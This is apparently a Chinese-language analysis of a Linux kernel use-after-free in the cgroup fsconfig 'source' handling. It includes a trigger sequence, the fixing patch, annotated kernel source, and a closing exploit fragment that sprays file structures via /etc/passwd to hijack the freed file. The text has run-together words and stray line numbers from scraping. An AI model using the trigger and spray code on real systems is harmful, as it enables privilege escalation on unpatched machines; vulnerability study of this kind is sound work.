//The following sequence can be used to trigger a UAF: int fscontext_fd = fsopen("cgroup"); int fd_null = open("/dev/null", O_RDONLY); intfsconfig(fscontext_fd, FSCONFIG_SET_FD, "source", fd_null); close_range(3, ~0U, 0);
这个是patch
1 2 3 4 5 6 7 8 9 10 11 12 13
diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c index ee93b6e8958746..527917c0b30be4 100644 --- a/kernel/cgroup/cgroup-v1.c +++ b/kernel/cgroup/cgroup-v1.c @@ -912,6 +912,8 @@ intcgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param) opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { if (strcmp(param->key, "source") == 0) { + if (param->type != fs_value_is_string) + return invalf(fc, "Non-string source"); if (fc->source) return invalf(fc, "Multiple sources not supported"); fc->source = param->string;
/* * Open a filesystem by name so that it can be configured for mounting. * * We are allowed to specify a container in which the filesystem will be * opened, thereby indicating which namespaces will be used (notably, which * network namespace will be used for network filesystems). */ SYSCALL_DEFINE2(fsopen, constchar __user *, _fs_name, unsignedint, flags) { structfile_system_type *fs_type; structfs_context *fc; constchar *fs_name; int ret; //使用ns_capable函数检查当前进程的命名空间是否具有CAP_SYS_ADMIN权限 if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN)) return -EPERM; //检查传入的flags参数是否包含除了FSOPEN_CLOEXEC之外的其他位 if (flags & ~FSOPEN_CLOEXEC) return -EINVAL; //使用strndup_user函数从用户空间复制文件系统的名称,这个名称的长度限制为PAGE_SIZE fs_name = strndup_user(_fs_name, PAGE_SIZE); if (IS_ERR(fs_name)) return PTR_ERR(fs_name); //根据文件系统名称获取file_system_type结构 fs_type = get_fs_type(fs_name); kfree(fs_name); if (!fs_type) return -ENODEV; //创建一个上下文fc fc = fs_context_for_mount(fs_type, 0); put_filesystem(fs_type);//减少文件系统类型的引用计数。 if (IS_ERR(fc)) return PTR_ERR(fc); //表示正在创建挂载参数 fc->phase = FS_CONTEXT_CREATE_PARAMS; //分配一个日志上下文 ret = fscontext_alloc_log(fc); if (ret < 0) goto err_fc; //创建一个文件描述符,如果flags包含FSOPEN_CLOEXEC,则使用O_CLOEXEC标志 return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);
structfs_context { //文件系统上下文实例持续期间,提供给文件系统上下文使用的众多方法。一般由特定文件系统类型的init_fs_context方法来对其进行设置。 conststructfs_context_operations *ops; structmutexuapi_mutex;/* Userspace access mutex */ //用来指向即将被挂载(或重新配置)的文件系统所属文件系统类型实例的指针 structfile_system_type *fs_type; //指向文件系统私有数据的指针,常用于存储需要特定文件系统来解析的选项 void *fs_private; /* The filesystem's context */ void *sget_key; structdentry *root;/* The root and superblock */ structuser_namespace *user_ns;/* The user namespace for this mount */ structnet *net_ns;/* The network namespace for this mount */ conststructcred *cred;/* The mounter's credentials */ structfc_log *log;/* Logging buffer */ constchar *source; /* The source name (eg. dev path) */ void *security; /* Linux S&M options */ void *s_fs_info; /* Proposed s_fs_info */ unsignedint sb_flags; /* Proposed superblock flags (SB_*) */ unsignedint sb_flags_mask; /* Superblock flags that were changed */ unsignedint s_iflags; /* OR'd with sb->s_iflags */ unsignedint lsm_flags; /* Information flags from the fs to the LSM */ enumfs_context_purposepurpose:8; enumfs_context_phasephase:8; /* The phase the context is in */ bool need_free:1; /* Need to call ops->free() */ bool global:1; /* Goes into &init_user_ns */ };
/** * sys_fsconfig - Set parameters and trigger actions on a context * @fd: The filesystem context to act upon * @cmd: The action to take * @_key: Where appropriate, the parameter key to set * @_value: Where appropriate, the parameter value to set * @aux: Additional information for the value * * This system call is used to set parameters on a context, including * superblock settings, data source and security labelling. * * Actions include triggering the creation of a superblock and the * reconfiguration of the superblock attached to the specified context. * * When setting a parameter, @cmd indicates the type of value being proposed * and @_key indicates the parameter to be altered. * * @_value and @aux are used to specify the value, should a value be required: * * (*) fsconfig_set_flag: No value is specified. The parameter must be boolean * in nature. The key may be prefixed with "no" to invert the * setting. @_value must be NULL and @aux must be 0. * * (*) fsconfig_set_string: A string value is specified. The parameter can be * expecting boolean, integer, string or take a path. A conversion to an * appropriate type will be attempted (which may include looking up as a * path). @_value points to a NUL-terminated string and @aux must be 0. * * (*) fsconfig_set_binary: A binary blob is specified. @_value points to the * blob and @aux indicates its size. The parameter must be expecting a * blob. * * (*) fsconfig_set_path: A non-empty path is specified. The parameter must be * expecting a path object. @_value points to a NUL-terminated string that * is the path and @aux is a file descriptor at which to start a relative * lookup or AT_FDCWD. * * (*) fsconfig_set_path_empty: As fsconfig_set_path, but with AT_EMPTY_PATH * implied. * * (*) fsconfig_set_fd: An open file descriptor is specified. @_value must be * NULL and @aux indicates the file descriptor. */ SYSCALL_DEFINE5(fsconfig, int, fd, unsignedint, cmd, constchar __user *, _key, constvoid __user *, _value, int, aux) { structfs_context *fc; structfdf; int ret; int lookup_flags = 0; //定义了一个struct fs_parameter param变量 structfs_parameterparam = { .type = fs_value_is_undefined, };
if (fd < 0) return -EINVAL; //一堆switch switch (cmd) { case FSCONFIG_SET_FLAG: if (!_key || _value || aux) return -EINVAL; break; case FSCONFIG_SET_STRING: if (!_key || !_value || aux) return -EINVAL; break; case FSCONFIG_SET_BINARY: if (!_key || !_value || aux <= 0 || aux > 1024 * 1024) return -EINVAL; break; case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: if (!_key || !_value || (aux != AT_FDCWD && aux < 0)) return -EINVAL; break; case FSCONFIG_SET_FD: if (!_key || _value || aux < 0) return -EINVAL; break; case FSCONFIG_CMD_CREATE: case FSCONFIG_CMD_RECONFIGURE: if (_key || _value || aux) return -EINVAL; break; default: return -EOPNOTSUPP; }
f = fdget(fd); if (!f.file) return -EBADF; ret = -EINVAL; //判断当前通过fd得到的文件实例的方法集是不是fscontext_fops if (f.file->f_op != &fscontext_fops) goto out_f;
fc = f.file->private_data; if (fc->ops == &legacy_fs_context_ops) { switch (cmd) { case FSCONFIG_SET_BINARY: case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: case FSCONFIG_SET_FD: ret = -EOPNOTSUPP; goto out_f; } } //把这个字符串赋值到param.key if (_key) { param.key = strndup_user(_key, 256); if (IS_ERR(param.key)) { ret = PTR_ERR(param.key); goto out_f; } } //根据不同的cmd,确定不同的操作 switch (cmd) { case FSCONFIG_SET_FLAG: param.type = fs_value_is_flag; break; case FSCONFIG_SET_STRING: param.type = fs_value_is_string; param.string = strndup_user(_value, 256); if (IS_ERR(param.string)) { ret = PTR_ERR(param.string); goto out_key; } param.size = strlen(param.string); break; case FSCONFIG_SET_BINARY: param.type = fs_value_is_blob; param.size = aux; param.blob = memdup_user_nul(_value, aux); if (IS_ERR(param.blob)) { ret = PTR_ERR(param.blob); goto out_key; } break; case FSCONFIG_SET_PATH_EMPTY: lookup_flags = LOOKUP_EMPTY; /* fallthru */ case FSCONFIG_SET_PATH: param.type = fs_value_is_filename; param.name = getname_flags(_value, lookup_flags, NULL); if (IS_ERR(param.name)) { ret = PTR_ERR(param.name); goto out_key; } param.dirfd = aux; param.size = strlen(param.name->name); break; case FSCONFIG_SET_FD: param.type = fs_value_is_file; ret = -EBADF; param.file = fget(aux); if (!param.file) goto out_key; break; default: break; } //加锁 ret = mutex_lock_interruptible(&fc->uapi_mutex); if (ret == 0) { ret = vfs_fsconfig_locked(fc, cmd, ¶m);//very important mutex_unlock(&fc->uapi_mutex); }
/* Clean up the our record of any value that we obtained from * userspace. Note that the value may have been stolen by the LSM or * filesystem, in which case the value pointer will have been cleared. */ switch (cmd) { case FSCONFIG_SET_STRING: case FSCONFIG_SET_BINARY: kfree(param.string); break; case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: if (param.name) putname(param.name); break; case FSCONFIG_SET_FD: if (param.file) fput(param.file); break; default: break; } out_key: kfree(param.key); out_f: fdput(f); return ret; }
structfs_parameter { constchar *key; /* Parameter name */ enumfs_value_typetype:8; /* The type of value here */ union { char *string; void *blob; structfilename *name; structfile *file; }; size_t size; int dirfd; };
/* * Check the state and apply the configuration. Note that this function is * allowed to 'steal' the value by setting param->xxx to NULL before returning. */ staticintvfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { structsuper_block *sb; int ret;
ret = finish_clean_context(fc); if (ret) return ret; switch (cmd) { case FSCONFIG_CMD_CREATE: //检查fc的阶段是否为FS_CONTEXT_CREATE_PARAMS if (fc->phase != FS_CONTEXT_CREATE_PARAMS) return -EBUSY; //检查是否有创建文件系统的权限 if (!mount_capable(fc)) return -EPERM; //设置fc的阶段为FS_CONTEXT_CREATING fc->phase = FS_CONTEXT_CREATING; //获取文件树 ret = vfs_get_tree(fc); if (ret) break; sb = fc->root->d_sb; ret = security_sb_kern_mount(sb); if (unlikely(ret)) { fc_drop_locked(fc); break; } up_write(&sb->s_umount); //将fc的阶段设置为FS_CONTEXT_AWAITING_MOUNT并返回成功 fc->phase = FS_CONTEXT_AWAITING_MOUNT; return0; case FSCONFIG_CMD_RECONFIGURE: if (fc->phase != FS_CONTEXT_RECONF_PARAMS) return -EBUSY; fc->phase = FS_CONTEXT_RECONFIGURING; sb = fc->root->d_sb; if (!ns_capable(sb->s_user_ns, CAP_SYS_ADMIN)) { ret = -EPERM; break; } down_write(&sb->s_umount); ret = reconfigure_super(fc); up_write(&sb->s_umount); if (ret) break; vfs_clean_context(fc); return0; default: if (fc->phase != FS_CONTEXT_CREATE_PARAMS && fc->phase != FS_CONTEXT_RECONF_PARAMS) return -EBUSY; //默认执行此处 return vfs_parse_fs_param(fc, param); } fc->phase = FS_CONTEXT_FAILED; return ret; }
/** * vfs_parse_fs_param - Add a single parameter to a superblock config * @fc: The filesystem context to modify * @param: The parameter * * A single mount option in string form is applied to the filesystem context * being set up. Certain standard options (for example "ro") are translated * into flag bits without going to the filesystem. The active security module * is allowed to observe and poach options. Any other options are passed over * to the filesystem to parse. * * This may be called multiple times for a context. * * Returns 0 on success and a negative error code on failure. In the event of * failure, supplementary error information may have been set. */ intvfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { int ret;
if (!param->key) return invalf(fc, "Unnamed parameter\n");
ret = vfs_parse_sb_flag(fc, param->key); if (ret != -ENOPARAM) return ret;
ret = security_fs_context_parse_param(fc, param); if (ret != -ENOPARAM) /* Param belongs to the LSM or is disallowed by the LSM; so * don't pass to the FS. */ return ret;
if (fc->ops->parse_param) { ret = fc->ops->parse_param(fc, param); if (ret != -ENOPARAM) return ret; }
/* If the filesystem doesn't take any arguments, give it the * default handling of source. */ if (strcmp(param->key, "source") == 0) { if (param->type != fs_value_is_string) return invalf(fc, "VFS: Non-string source"); if (fc->source) return invalf(fc, "VFS: Multiple sources"); fc->source = param->string; param->string = NULL; return0; }
structfs_parameter { constchar *key; /* Parameter name */ enumfs_value_typetype:8; /* The type of value here */ union { char *string; void *blob; structfilename *name; structfile *file; }; size_t size; int dirfd; };
在sys_fsconfig中,当CMD为FSCONFIG_SET_FD时,会有如下操作
1 2 3 4 5 6 7
case FSCONFIG_SET_FD: param.type = fs_value_is_file; ret = -EBADF; param.file = fget(aux); if (!param.file) goto out_key; break;
/* * Try to avoid f_pos locking. We only need it if the * file is marked for FMODE_ATOMIC_POS, and it can be * accessed multiple ways. * * Always do it for directories, because pidfd_getfd() * can make a file accessible even if it otherwise would * not be, and for directories this is a correctness * issue, not a "POSIX requirement". */ staticinlineboolfile_needs_f_pos_lock(struct file *file) { return (file->f_mode & FMODE_ATOMIC_POS) && (file_count(file) > 1 || file->f_op->iterate_shared); }
int tmp_fd, uaf_fd, fscontext_fd, victim_fd; int target_fd[FILE_NUM]; pid_t fork_fd; pthread_t large_write_thread, passwd_write_thread; int flag = 0, large_write_flag = 0, passwd_write_flag; size_t start_addr = 0x114514000; int ret = 0;
voidfile_struct_spray() { while (!passwd_write_flag) {}
puts("[*] start try to hit uaf file struct"); for (int i = 0; i < FILE_NUM; i++) { target_fd[i] = open("/etc/passwd", O_RDONLY); if (target_fd[i] < 0){ printf("failed at %d target file\n", i); err_exit("failed!"); }
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, target_fd[i]) == 0) { victim_fd = target_fd[i]; printf("[*] victim_fd is %d\n", victim_fd); flag = 1; for (int j = 0; j < i; j++) close(target_fd[i]); break; } }